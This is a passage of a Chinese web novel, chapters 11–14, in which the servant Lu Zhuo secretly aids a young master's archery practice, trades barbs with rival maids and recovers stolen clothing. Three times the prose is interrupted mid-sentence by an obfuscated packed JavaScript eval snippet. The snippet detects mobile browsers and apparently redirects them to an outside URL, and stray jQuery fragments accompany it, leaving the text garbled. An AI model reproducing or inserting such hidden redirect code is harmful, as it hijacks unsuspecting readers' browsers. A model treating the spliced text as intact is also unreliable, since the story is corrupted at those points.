可高家无一人在军中，至少鹿苓从没提过这事儿。高家的少爷平白无故的，怎么练起射柳呢？ 好奇仅仅在鹿啄脑中停留了一息，便被“与我何干”四个大字赶了出去。 一声重物落地的声音忽然在院子里响起，鹿啄低头一看，只见好大一个包袱落在墙根处，凝儿正慌慌张张走过来捡。 墙外的郑婆子学了两声狗叫，一听就是郑婆子的声音。 凝儿在里头也回了两声狗叫。 11. 三少爷的箭 里外对上了身份，事儿就成了一半。郑婆子没过多停留，疾步往二门方向离开。 院子里暂时恢复了寂静，只有夏蝉在角落里有气无力地鸣叫。里头的凝儿把包袱皮掀开，一件一件把所有衣服翻看了一遍，时而用指尖捻一捻料子的厚度，时而对着光看看织纹。 她那年轻的、尚存几分稚气的脸上，交替闪过审视、挑剔与满意的神情，最终都化为几声从鼻腔里发出的，轻蔑又得意的“嗤”声。 借着院里的灯和月色，鹿啄也看了看。 她的衣服果然在其中，看来郑婆子在贪赃这件事上做得十分细致，并没叫一件好东西埋没。 全部翻看完，凝儿又把包袱皮重新打好，四下环顾了一圈，才轻手轻脚钻进灶房。 鹿啄一直等着她又出来，合上了灶房门，重新走回廊下后，才准备顺着房檐滑下去。 还是让凝儿陷入昏迷来得比较直接。 她刚得了这么多好衣裳，万一高兴得睡不着，那要等她到什么时候？ 可鹿啄这边刚抬起半个身子，就听院里吱呀一声门响，竟是正房的门打开了。打正房里面走出个少年，看着有十六七岁，他从头到脚收拾了一身劲装，不用想也知道，只能是住在这院里的三少爷。 三少爷走到凝儿旁边，凝儿起先没反应过来，看清人以后，一脸“我真是做梦做美了”的样子。但对方似乎没察觉到她有多高 兴，只是小声和她交代了两句，然后就不说话了。 闻言，凝儿显得有些为难，直到后来那三少爷又从怀里掏了几个圆溜溜、硬邦邦、亮闪闪的东西出来递给凝儿，凝儿这才接了， 更欢欣雀跃地奔着一侧配房跑过去，很快就消失在配房的门后头。 坏了。 鹿啄扶住额头。 这三少爷大半夜的不睡觉，穿着一身劲装出来，还把上夜的丫头给赶走了，可不就是要连夜加紧用功练射柳的意思吗？ 寻常的丫头婆子，她可以叫他们不约而同的昏迷一下。但放在少爷身上就不一样了。 等明天起来，这少爷发现自己睡在院子里，又想起自己可是出来练功的，并不是有意喜欢睡地上，一定就会起疑。他起了疑心，再联想到自己昨天是在晚上昏迷，必定觉得家里趁夜进了歹人，不把高府翻个底朝天才怪。 上上下下有人查人，还有人点物，行事起来可就很不方便了。 鹿啄无声长叹。 如此，只有等这少爷练累了，再下去把衣服拿回来。 习武之事，是有天资的，此人天资尚可，但似乎只会一味蛮练，作践了自己的天资，故而从他的吐纳步伐之中可以看出，练不了多久，他就会因为无甚收获而放弃。 对房上之人思量一无所知的三少爷高克正，从柳树旁拾起了自己的弓箭。 他是杨怀薇的儿子，在所有子女中行六，下头只还有一个小妹妹高云英。比起姐姐妹妹们，他没有充作联姻棋子的用处（只是高家如此），与两个哥哥相比，他的母家又普通。教习上，两个哥哥一个天才，一个得了父亲的恩荫，能到国子监去读书，只剩下他，高不成，低不就。 以高克正的天资，一味苦读的话，就是读到猴年马月，也别想出仕。 可若是走了武举这条路，到行伍中挣个前程，却是值得一试。 因着主母殷氏娘家威节侯一门起家时有从龙之功，虽然一代不如一代，但直到上一任老威节侯时，还在军中任职，就算是现在，也有些受过殷家恩惠的将士。走武举这条路，对高克正来说，确实比文试要坦荡多了。 尤其是殷氏始终没有儿子。 她为了自己的将来计，总要依靠一个庶子。 厚了这个就薄了那个，只能选一个。 投靠陆从漪生的那两个，就意味着后半生陆从漪也要压在她脑袋上过。 两相比较，高克正在不声不响的时候，就已经占了许多先机。 这样一来，殷氏未必就不会走娘家的路子帮他。 这些错综复杂的关窍，自然不是高克正自己能想透的。全赖他那位素来精明、深谙宅院生存之道的亲姐高容英，为他一步步剖析、谋划。 姐姐给他的安排是，读书只需做个样子，掩人耳目即可，真正的重心，要放在武艺的锤炼上。务必寻无人之时，勤加练习，唯有 练就一身过硬的本事，才有出人头地的机会。 高克正深吸一口夜间的凉气，摆开架势，左手持弓，右手搭箭，缓缓拉开了弓弦。 他首先练习的是射艺。院子里空间有限，跑不开马，而且他的准头也确实欠佳，因此他每日的功课，都是先练习削砍柳枝，再练 习射击特定的柳叶，以此来同时锻炼臂力和眼力。 他自觉安排的不错，但落在鹿啄眼里，又是另一番样子了。 眼睁睁看着他把一张弓拉得半满，箭簇飞出去以后就像让人踹了一脚似的，不仅飞得不远，还很快向前扑倒下去，连柳树的皮毛都未伤分毫。 若是知难而退，也算是有头脑。偏这少爷的头脑平衡了他在习武之事上仅存的那一点天资优势。一味地肯下功夫，一箭不中就再补一箭，直到射空了箭袋，再自己去把箭一支支捡回来，放回箭袋里，继续练。 不知不觉，就练到了三更天。 看来射不中他是不会去睡了。 鹿啄又是长叹一声。 叹罢，她从身旁摸了一片瓦下来，双手持瓦片，右手拇指食指一用力，就掰下一小块儿碎瓦。如此这般，鹿啄接连把整个瓦都掰成碎块，捏在手里。 盯着高克正拉弓出手的一瞬间，鹿啄的右手也动了。她指尖轻弹，一枚小小的碎瓦块激射而出，速度快得几乎看不清痕迹，精准 无比地追上了那支软绵绵飞行的箭矢的尾部。 瓦块与箭杆尾部碰撞发出微响，紧接着，那支原本即将下坠的箭矢，像是被无形的手推了一把，去势陡然加快了几分，划出一道略显生硬但终究是向上的弧线。 “噗嗤” 箭中柳叶。 高克正揉了揉眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030541|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“运气？” 他嘀咕道。 随即像是要验证自己的猜测一样，高克正再次手搭弓弦，瞄准了另一片柳叶，弓开如满月，箭去似……鹌鹑。 好在又一块碎瓦无声飞来，那箭矢歪歪扭扭地命中了目标。 高克正大喜。天黑，灯不亮，他没看清自己箭矢诡异的飞行角度，只觉得是终于摸出些门道了，反复品味着自己刚才的力度与动作，接连又放了几箭，每一箭都射中了他所瞄着的柳叶。 房顶上，鹿啄甩了甩手腕子，隔空对着浑然不觉的高克正，无声地动了动嘴唇： “还来吗？” 那肯定是要来的。 高克正又清空了三次箭袋，一会儿射叶子，一会儿射柳枝，如入无人之境，练得心潮澎湃，后头几箭，他甚至想拿些花样，又是 反手开弓，又是拿脚拉弦，竟然频频都中，他不由得放下弓箭，呆立在原地。 见他不动，鹿啄一愣。 自觉做得有些过了，刚刚用脚拉弓的时候不该给他中。 可此时却忽听见下面高克正说道： “哦！神乎其技！再接再厉！” ……怎会如此？ 要不是他隔着柳树之间有一个碎石小潭的造景，那些落在地上的碎瓦片早就露馅了！ 他差得根本没救，竟然还沾沾自喜！ 可已经做到这份上了，如若现在收手，他必定觉得奇异，说不定就会反复尝试找回手感，届时又不知要等到何时。鹿啄只有赌他爽过后会回去老实睡觉。 这一赌，就是一夜。 鸡叫五更，鹿啄愤而收手，准备回去。 亏了三少爷练习的时候并不怎么老实，鹿啄就也没只待在一个地方不动，这才没落个手麻脚麻，活动起来还是很轻快。她重新排列了一下自己所在位置的瓦片，尽量掩住缺了的地方，又吹掉手上的灰。 临走前，她下意识又看了一眼院中。 离了她暗中帮助的三少爷果然连着几箭没中，但没想到他并不气馁，只是站在那里，看了看脱靶的箭矢，又看了看手中的弓，随即竟颇有些“潇洒”地将弓箭往柳树下一放，很轻松地叹了一声： “累了，已失了巅峰时的状态，明日再练。” ……鹿啄的瓦片就该直接砸他脑门上。 现在下去拿衣服是绝无可能了。 配房那边已经传来了窸窸窣窣的起床动静，丫鬟和小厮们开始了一天的忙碌，院子里很快便会人声嘈杂。 看来，只有等到下午再寻机会了。 她还记得郑婆子说过，午后，大少爷和二少爷会来检查这孽障的功课。到时候，凝儿必定会按照吩咐，偷偷将那个惹眼的包袱送 出拱辰轩。她只需在凝儿出门之前，让她“顺利”地昏睡过去，然后神不知鬼不觉地取走包袱即可。 反正藏凝儿的地方她都已经提前看好，中途不需要再来。 盘算好这些，鹿啄踏着一路过来的房顶，奔杂役房而去。 天亮了，她得去点卯。 12. 啜狗尾 胡婆子是在转过身的间隙看到鹿啄的。 明明刚刚转身前那丫头还不在，查个花名册的功夫，就跟从地里突然长出来了一样。 胡婆子撮着牙花子，没深想。 她向来不深想任何事。 好比说倒夜香吧，你要是不深想，就是把几个桶从一个地方拿到另一个地方这么简单，要是深想了，那就要扯上什么耻辱、什么尊严，平添烦恼。有那功夫，不如多在炕上歇一会儿。 在名册上给扫地的勾了，胡婆子提点她先把外院扫了，再去扫内院，随即就找其它丫头去了。 扫帚二哥立在墙角，等待着鹿啄。 这只是鹿啄心里给它取的名字，高家旁的人并没这么叫。 在啜狗山上，她们姊妹七个并逐娘，一共八个人住在半山腰的位置，山顶有一座破了不知多久的道观，其内有人，与她们极其偶尔会见到一面，除此以外，方圆二十里地，就再没活人了。 在这么个与世隔绝的地方，工具是珍贵的。 为了让她们珍惜工具，逐娘就逗着她们把扫帚叫二哥、簸箕是二嫂、铁锅叫大嫂、灶台就是娘舅。器物或许有灵，也会更耐用些，更省劲儿些。 鹿啄上山的时候年纪小，正处于泛灵的年纪，有时候真以为这些笤帚簸箕们也有各自的私房话，久而久之，不管那扫帚簸箕们换 了多少，鹿啄一律时统称二哥二嫂。 高家的东西也不例外。 带上二哥，鹿啄先回了下人房。 其它女孩儿们都出去上工了，只有晚上值夜的那个才回来不久，正换了衣服准备去睡，鹿啄把二哥往前一伸，拦了一下。 那女孩子跟鹿啄是同一天来的，对鹿啄有点印象，便顺势停下看着她，问： “姐姐可有什么事儿？” 鹿啄：“今天晚上我替你上夜。” 那女孩儿知道天上没有掉馅饼的，就没应，仍看着鹿啄，听她道： “你下午醒了，帮我扫内院。” “姐姐这是想跟我对调一下？” 那女孩心里并不想，因为扫地很累，所以她故意兜圈子： “可张妈妈没见过姐姐，我不好瞒她。” 鹿啄大言不惭： “她让我来的。” 那女孩儿当然不信。但她又回想了一下鹿啄进来之后说的话，好像并没有什么商量的意思，的确很像是已经跟张婆子说完之后又过来告知自己的。可自己怎么确认呢？为这点小事，总不至于特意跑一趟张婆子房里。 她只能把这个问题推回给鹿啄： “那姐姐可有凭证？” 鹿啄摇头： “没有，她不识字。” 女孩儿越发疑惑了。 张婆子确是个不识字的，这在高府内少见，如果没见过张婆子，肯定不能知道。可她又无凭无据…… “不换，我就跟她说。” “别别！” 女孩儿一下有些急了。她才刚来第一天，管她的婆子对她有安排，她就不听话，未来俩人一起守夜的时候还多着，别惹了婆子不 高兴。 因为不敢赌，她竟已经对鹿啄毫不怀疑了： “姐姐只管替我便是，晌午后我自到杂役房去领洒扫家什。” “嗯。” 鹿啄点点头，仍拿着二哥，离开下人房。 早上，从拱辰轩回来的时候，鹿啄在外院穿梭的护院和小厮之中，看见了一个婆子。那婆子朝着厨房的方向走，神色匆匆。这么早的时间，醒着在外院走动的婆子，如果不是有什么特别的差事，就只能是上夜的婆子下了夜。 如若是高家出了什么事，便不会不见郑、庄两位管事婆子。 故此鹿啄猜那婆子应该是昨儿在杂役房要人的值夜张婆子。 当时她细看那婆子，发现婆子头发里插了一根木簪子，簪头刻了个“寿”字，但“寿”字上下颠倒，该是簪子让她给戴反了。 在高家做事，如果不是不能体面，那所有人必定都是要体面的。比如这木簪上的字，如果插左边发髻，就是正的，如果插右边发髻，就是倒的。婆子明知道插右边寿字会倒，还梳右髻，只能是不识字了。 且她簪子戴反了这么久都没人提醒，仍然戴着，更证明了她做的活计，周围既没什么人，又不大见光。 两厢合计，鹿啄就有了张婆子不识字的结论。 ----------------- 鹿啄上外院扫了一会儿地，就到了辰时。 小厮们各自去厨房张罗着各位爷们院子里的早食，鹿啄这样的下等丫鬟，做完了活儿得自己去领，不过她并不着急。 府上小厮众多，要找到当日抬鹿苓的那两个并不容易，现下为着给各房的爷们拿饭，半个府上的小厮都会轮流去厨房，鹿啄正好可以坐在这儿，一个个慢慢辨认过去。 她走到影壁墙边上，靠着墙根蹲下，一手搂着二哥，一手从怀里掏出昨天在厨房拿出来的半个麸皮饼子，放进嘴里嚼。 饼子已经冷了，啃起来费劲儿，而且干、噎、还掉渣，掉地上的渣，鹿啄还得自己扫。 这角落在厨房的正北，几乎从外院所有少爷们的住处来往厨房都得经过这儿。不少人看见鹿啄蹲在地上啃饼子，但都是摇摇头就过去了，以为她是挨罚的，怕她冲上来抱着大腿哭。 唯独二少爷高克行，顿了一顿。 他不是去厨房的，他甚至已经吃完饭了。 他只是要出门的路上听见身后素馨叫他，一回头，正巧看见了那格外凄凉的一幕。 素馨赶上他，没注意他正看着鹿啄，笑盈盈递上一件缂丝水墨兰竹扇套，道： “二爷，扇子忘了。” 这一声二爷，把高克行从一阵“我家何时如此穷酸了”的感想中拉了回来，他接过扇套： “有劳姐姐。” 这边素馨一欠身，要目送他出去，可高克行迟迟没动，末了，有些纠结地问素馨： “那个看起来好像很惨的人，是谁啊？” 高克行手指鹿啄的方向，素馨顺着瞧了一眼，并不认识。她早把鹿啄忘了个干净，更何况鹿啄现在的打扮模样，也很难跟昨天联系在一起。 “外院扫地的丫头吧，可能受了罚。” 素馨猜着答复高克行，后者听了只觉得更惨，便嘱咐道： “我早上剩下两个占米白粉糕，那东西甜腻，我吃不惯，你去拿了给她吧，问问谁罚的她，因什么罚的，这当街示众一样，未免太惨。” “是。” 素馨应了，回院儿里拿糕，再出来的时候，高克行已出门了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030542|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他只想知道鹿啄为什么挨罚，却想知道得不急切，自然说完了就走。素馨没能目送二爷出门，朝门外望了望，见实在没有高克行的身影，才金莲款步，挪到鹿啄身边。 鹿啄对刚刚延晖阁门口发生的事毫无知觉，也不知道那里住着二少爷，她只感觉头上突然让一片云把光遮去了，抬头，瞧见了素馨。 她倒记得她。 想不记得也很难吧，昨天只有她一个人是单独从西厅出去的。 “你在这儿干嘛呢？” 素馨问她。 鹿啄答得干脆： “扫地。” 素馨面上露出点嫌恶，又道： “扫地就该站起来好好地扫，挤在这角落里躲懒扮惨，我们爷说你看着像狗一样。” 这样低等的，模样不出众的丫头，一辈子也得不着少爷们的青睐，便不该让她们生出爷会可怜她们的错觉来。所以素馨才这么 说。 原以为听了这话鹿啄会恼，不恼也会羞，可鹿啄只是把手上的扫帚突然提起来，三根手指头一翻，扫帚掉了个个儿，扫帚柄向 外，朝向素馨。鹿啄道： “那你扫。” 素馨哑然。 一个扫地的还扫出独门技术来了？还不叫人指点了？她没把别人激怒，反而给自己惹毛了，决心再给鹿啄个难看，却听鹿啄很快又说： “不扫别挡光。” 这下素馨真急了。 她是娘亲从小当小姐一样养大，就是为了有一天出落了能奔个好前程的，没吃过一丁点儿下人的苦，更没把自己当成丫鬟过，如今叫个扫地的鼻子不是鼻子，眼睛不是眼睛的对待，这她怎么受得了，遂问： “管你的婆子是谁？” 治不了没长眼的，却可以找长了眼睛的治她。 然她不知道，鹿啄并不是礼制天下里长大的人，没有学到别人问了，就一定答的礼貌。 只见鹿啄闻言半天不答，片刻后，慢吞吞地提起扫帚，蹭着素馨的衣服边，朝影壁墙的另外一边走去。 如果现在追上去，会不会显得特别丑，特别尖酸？ 这个念头在素馨耳边萦绕了一下，但很快被怒气冲散了。她快步追上鹿啄，伸手要搭鹿啄的肩，但没想到对方就像后背长了眼睛一样，一矮身躲过了。素馨一时不备，只当是巧合，还要伸手去拉鹿啄，却听身后忽然响起一个声音： “这不是素馨姐姐嘛，大早上的，跟扫地的置气呢？” 素馨和鹿啄同时回头，看见了站在拱辰轩门口的凝儿。 凝儿早上闲得很，因为三少爷没传早饭。 确切的来说，是三少爷现在还没醒。 早上不吃饭，加上老爷太太们都在老太爷老太夫人那儿侍疾，许久没叫过晨昏定省了，他可以睡到日上三竿。 院里没人叫服侍，凝儿只能自己找活。她原本也是该扫地，院子里天天都扫，并没什么灰，只是不知道谁往石潭边儿上扔了一堆碎瓦块儿，叫她收拾了一阵子。 但很快也收拾完了，凝儿闲来无事，本想跟屋里的其它丫头聊天，却忘了三少爷院子里并没什么丫鬟，只她跟另一个贴身服侍的，剩下的都是小厮。见三少爷没醒，他们也乐得躲懒去了，这才把凝儿闲得到门口乱逛，碰上了素馨和鹿啄这一出。 13. 愿者上钩 外院人来人往，凝儿生怕自己的威风使得不够准，不能叫素馨从此怵她，干脆从门边上走出来，到二人的跟前儿，指着鹿啄： “我本不是好事的人，可你这丫头也忒狂了。” 她想拿鹿啄作筏子，其实并没听见鹿啄说什么，量一个扫地的也不会有什么驳她的胆量，便只由着自己的性子说： “挨着爷们的一点儿边，就连自己姓甚名谁都不知道了，大清早起来在这院子里卖俏迎奸，浪得给谁看？你要真是那好人家里生 出来的，就知道不该青天白日地钻出来脏别人的眼珠子。早该烂了的名声，再下贱不过的坯子，打你一下都嫌脏，啐你一口都白费唾沫。” 人员兴旺的大家族，身份相近彼此却看不顺眼的人很多，借着训斥小丫头的话头指桑骂槐是毫无风险的泄气手段，鹿啄虽没听过，但素馨太知道里面的门道，顿时脸上一阵红一阵白。 骂人是一样本事，没在市井混迹过，没从下人堆里打拼出来过的素馨纵然想还口，也没那么多尖酸的句子可以生造，只能攥着手问凝儿： “你骂的谁？” 凝儿顾盼神飞，笑容明媚，看着素馨： “我骂这丫头啊。看不过眼，想替姐姐出气，姐姐那样秀气柔弱的人，只怕没见过这种心眼子多的，只会扮可怜样儿，欺瞒主子的狗奴才。” 她意指素馨穿着打扮和行为做派，素馨却想到自己没传高克行的话可能被她听去了，还以为凝儿拿着她的短，只能紧咬着牙，不说话。 敌人毫无还手之力，凝儿觉得胸中舒快无比，作为胜利的收尾，她欲转头叫鹿啄快滚，但一扭头，鹿啄已经不见了。 踏着青石甬道，绕过两道□□，鹿啄沿着抄手游廊向北走了一阵，三间青瓦屋舍入眼，高府的厨房里热火朝天，不少主子用了饭，遣丫鬟婆子小厮们回来送碗碟。 鹿啄也是来拿饭的。 但她拿的是明天的饭。 今天的事让素馨和凝儿联手搅了，她并没找到那两个见过的小厮。听甬道上的下人们说起三少爷早上并没叫传饭，大少爷从不进早食，那至少还有两个院的小厮她一眼都没看过，明日自然还得蹲守。 厨房今天给下等仆役们准备的饭是一人两个杂面窝窝，鹿啄嫌它不好夹带，就拿着窝窝坐在院中，一手摊开放一个窝窝，另一手轻轻发力拍下，把一个窝窝拍成四分五裂的扁片，再收进怀里。 这当口，就见一个人从厨房里出来，看见鹿啄，忽然顿住。 纯儿，不，现在该叫小钗的那个人，脸上带着鲜红的五个血道子，怔怔地瞧着鹿啄拍窝头。 察觉有人在看自己，鹿啄行止，抬头，就见小钗紧抿双唇，嗫嚅半晌，才对她道： “没想到能碰上你。”她眼中有水光在漾，“对不起啊，你好不容易帮我在大小姐那儿谋的差，我恐怕要丢了。” “没不容易。” 鹿啄说着又把另一个窝头拍扁，也放进怀里，看小钗还愣着，她示意小钗在自己旁边的空凳子上坐下，等后者坐定，她才问： “脸怎么了。” 这一问，可打开了小钗的话匣子。她知道要是碰上别人，自己绝对不该说嘴，可以鹿啄的脾气，这事跟她说了，就跟说给天上的云彩，地上的石头没什么分别。 原来早上起来，小钗领了银钿的吩咐，到小灶上给高雅英炖茶水，因银钿特意嘱咐了大小姐要吃松萝茶，小钗便在放茶叶的配房里找，然而找了一阵子也没找到吃剩的，便起了一瓷坛新的，这一启不要紧，大小姐正撞上她从配房里捧着茶出来，看见她手上的新瓷坛，不知怎的，大发了一通脾气。 不仅特意吩咐以后不叫她再奉茶，还让玉珰掴了她两掌。 罚婢女丫鬟这样年轻女孩子的手段，尤以掌掴最伤人，大小姐还让玉珰狠狠地打，务必要留下伤痕叫人看见，留下了伤痕，还让她到厨房送碗碟，这一路，她不知被人背后取笑了多少遭。 那坛松萝茶并不是什么极名贵的特供，也并非是大小姐珍视之人所赠，小钗怎么也不明白自己缘何挨打，还是玉珰心善，又因掴了她而歉疚，这才告诉她缘故： 高雅英生平最恨别人拿自己的主意。 上到每日穿哪一件衣服、戴哪一件头饰，下到配房里新茶开启的顺序，她一样样都有自己的安排，决不能被人乱了次序。 就是活儿做的不好，她有着望族千金的体面，都并不会说什么，但要是没问过她就擅自主张，乱了她的安排，拿了她的主意，她必定要把当下的恼羞，十倍百倍地还回去。 小钗不知银钿是不是故意害她，但结果就是她起了大小姐下月才叫起的新茶。 她说到一半已经泪眼朦胧，全都倾吐出来后，更是哭得哽咽，不住地用袖子掖泪。 “你去找黄柏皮、土瓜根、大枣各一钱。” 鹿啄说着，并不看小钗，那两个窝窝掉了不少碎屑在怀里，她别扭，就站起来抖擞，碎屑从裤管子里落出来。 “三样都研细，拿蜂蜜调成膏，每日早晨化开洗脸，或者敷上。” 小钗一惊： “这是治伤的药膏么？你还懂这些？” 这方子简单，用料也朴实，都是些便宜常见的东西。黄柏清热燥，土瓜根活血化瘀，大枣补气养血，蜂蜜润泽，是极适合寻常人家女孩子受伤后，疗伤祛疤的药方。 鹿啄摇头： “不懂。” 她知道小钗肯定还会刨根问底，就补了一句： “我姐姐懂。” “你怎么有个这么神通广大的姐姐？” 绣工无与伦比也就罢了，还会配药写方子。 渣子抖得差不多了，鹿啄把放在一旁的扫帚捡起来，想走，但看见了小钗求知若渴的眼睛，她只得答： “另一个。” 不是先前会刺绣的那个。 会刺绣的是鹿苓，懂医术的是鹿荇。 在鹿荇会的所有方子里，鹿啄只记得这个“孙仙人少女膏”的配法，因为简单好记，她用得多。练武总是要受皮外伤的，更何况鹿啄还要打猎，身上有个一两处血道子很常见，鹿荇嫌她浪费贵价的药材，便给她配了一大堆少女膏。 小钗看出鹿啄不欲多谈，但还是止不住好奇： “你有几个姐姐？她们都这么有本事？” 鹿啄已经撇了她往外走了，听见追问，突然想起什么似的，回过了头： “六个。” 小钗见鹿啄去而又返，神色一改平时，登时懵了，等着鹿啄的后话。 只听鹿啄道： “你帮我件事。” ----------------- 鹿啄去的急，也不顾忌身后小钗做什么想头，她并不是为防着小钗多问，只是离开外院久了，怕拱辰轩那边生变。 昨夜还觉得趁凝儿和郑婆子交接了衣裳，自己做黄雀在后不会出什么岔子，但世事多变，她总有料不到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030543|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 既然不是聪明人，就要多下笨功夫。 如此思量，鹿啄晌午就没再去厨房，扫完了地，把窝窝掏出来吃了一个，只等晌午后拱辰轩的动静。 日昳，昨儿定了擦洗差的姑娘把荷花缸里的荷叶都擦了一遍，见并没人关心她是如何的下功夫，就信步回杂役房躲懒去了，走时，还问鹿啄要不要帮着把扫帚带回杂役房，鹿啄拒绝了。对方倒不是多心的人，还向鹿啄笑了笑。 她刚走一会儿，延晖阁里就传出了人声： “只是去西院看三弟的功课，跟着那么多人作甚。罢了，我走了。” 高克行的声音洪亮、坦荡、语速稍快，清亮得如同山涧敲击岩石的泉水，尤其语调有些像他母亲，自然得仿佛天生地养就是要他来世上享福的一样。 声音方落，鹿啄已趁人不备上了屋顶。 要躲过外院来往小厮们一时的注意简单，众目睽睽之下逛到拱辰轩里却不容易，鹿啄还是决定高来高走。 这边高克行出了门没一会儿，跟延晖阁在一纵的含章馆里也把大少爷高克肃送了出来。 含章馆是现在唯一还没有婢女的院子，小厮们总担心大少爷不够风光，但出门一看二少爷也没带丫鬟，就宽了心。鹿啄正在上头往拱辰轩“飞”，并没注意到两位少爷的样子。 进了拱辰轩，刚刚起身没多久的高克正就迎在门口，端正朝两个兄弟行礼。 “兄弟之间，你怎么就放不下这些虚头巴脑的礼节。” 高克行对着高克正摆了摆手，对方腼腆地笑了，引他和高克肃进了正房。 几人进去后，院子里忙活了一阵。有送茶的、熏香的、打水的，接着陆陆续续都进了屋，廊下原本有两个拱辰轩的小厮看门，但 凝儿给他们使了十几个铜子儿，说是天热，请哥哥们吃茶休息的，两个小厮也有眼见，拿了钱，就到配房里去了。 十几个钱并不够买他们当睁眼瞎，凝儿冲着配房里低声又道： “我替哥哥们一刻钟。” 里面并没动静，凝儿知道成了，就拧身去了灶房。 鹿啄在上面看着，随着凝儿走动，她也走动到离凝儿最近的位置。 灶房的门又被人从里面推开，凝儿脸上带着头一回做贼的生涩鬼祟样，抱着鼓鼓囊囊的包袱闪身出来，她自信并没第三个人知道包袱里包的是什么，也就摆出一副“在办正事”的神色，阔步向院门走。 然刚走出两步，一道黑影如落叶般自她头顶的屋檐翩然坠下，无声无息地停在了她身后。 凝儿只觉得颈侧忽然袭来一阵极轻微、却带着一丝凉意的风。她甚至没有回头的机会，就觉得脖子侧面被一片刀背敲了一下似的，并不怎么痛，可眼前发黑。 下一刻，一股强烈的眩晕感如同潮水般淹没了她所有的知觉。凝儿失去意识，软倒在地，露出了身后鹿啄泥塑一样毫无变化的脸。 怀里的包袱被鹿啄提起来挎在身上，她略一思忖，还是把凝儿抱了起来，鹿啄现在肩膀上全是骨头，扛着怕给人顶吐了，吐了就醒了。 把凝儿一路抱到灶房后面堆柴的地方，鹿啄在柴火堆背人的一面放下凝儿，又从包袱里捡了自己的衣服和另一件衣服出来，其余还原样塞回凝儿怀里。 鹿啄手里拿着衣服，就不敢再上房，若是一个没顾上，容易被看不见的木刺或檐角勾破了衣服。好在凝儿已经帮她把院子里的小厮支走了，她可以光明正大的走正门出去。 14. 匹夫一怒 郑婆子很是不放心凝儿。 她匆匆往拱辰轩赶，一手摁住了狂跳的右眼皮。 三少爷在人前，一向是老实、戆直又敦厚的样子，尽管凝儿做梦都想到京城去，将三少爷视作登天的云梯，但郑婆子深知就品貌来讲，时日久了，凝儿未必真心顺服三少爷。 虽说做下人的，并没有挑主人的份，可架不住两相比较。 这比较的模子，譬如二少爷高克行。 他在京时受了三房老爷的恩荫到国子监读书，结交的都是当朝三品以上家里的公子哥，那是何等的荣耀风光，更不要提二少爷长得风流，人又洒脱明快，叫老婆子们看了都喜欢。 又譬如大少爷高克肃。 为人是有些冷僻，但十六岁上就中了解元，虽为了家里的安排没在隔年参考会试，可前途风光无量也是能想见的，论模样，他与二少爷一奶同胞，虽不比二少爷俊，但自有一派贵气天成。 此二人若无事，午后必到拱辰轩指点三少爷功课，两个人中龙凤往院子里一杵，凝儿难免不会生了出头卖乖的心，再误了正事。 由此，郑婆子便很是不放心凝儿了。 然则这忧心虽有理，郑婆子却想错了凝儿。 姑侄血亲，她们二人对钱财的重视，是远超世间万物的。郑婆子此时心中泛起的不祥，也并不因凝儿会坏事而生。 一念未闭，郑婆子已到了拱辰轩前头的甬道，她加紧脚步，低头疾走。 心下预备稍后凝儿若是没出来，她只有强闯入内，就说大房的老爷叫问少爷们夕食想吃什么。得了少爷的答复再去厨房吩咐一下便是，事后不会有人发现她来得蹊跷，而只要进了院，总能跟凝儿说上话。 她想得定，算得稳，却没算到大房老爷平白无故为什么要去问三房少爷们想吃什么，也没算到鹿啄会跟她在门口撞上。 一双破布鞋映入眼帘，郑婆子猛然抬头，瞥见明显是从拱辰轩里出来的鹿啄，手上抱着两件衣服，正要从她身边绕过去。 “站住！” 老远郑婆子就瞧见了，两件衣服一新一旧，正是从她预备的包袱里抽出来的。新的那件虽一打眼也知道值几钱银子，可未给她留下许多印象，至于那旧的，她却绝不会忘。 外头破得没法要，比府里摸爬滚打的小厮常穿的都差些，料子尚可，可糟了污了便一文不值。 若不是郑婆子怕内袋里可能夹带东西，有意翻开，绝不会发现内衬上有一块儿难得的刺绣。 虽然纹样没什么意头，也不复杂，但像被有意保养过。尤其绣工了得，郑婆子活了半辈子，竟没见过第二件这么好的。 这小畜生怎么知道这件衣服在这儿？ 凝儿呢？ 若是偷，或与凝儿分赃，不该只得了这两件。 无论如何，到了她郑婆子手里的东西，可没有被旁人捞走的道理。 “你手上拿的什么？” 郑婆子瞪着眼，眉心拧出沟壑，却仍不忘自恃身份，没向鹿啄走近，只是逼视。 鹿啄倒没跑，也没躲，站在原地答： “衣服。” 废话，难道她看不出是衣服吗？郑婆子语气愈重： “我知道！我没瞎！我问你这是什么衣服，谁的衣服？” 鹿啄面上并没露出一点紧张，反而问起郑婆子来： “谁住这儿？” 气氛一滞，郑婆子没想到她反应得这么快，更没想到她会问，一时怕气势落了下风，强答道： “三少爷啊。” 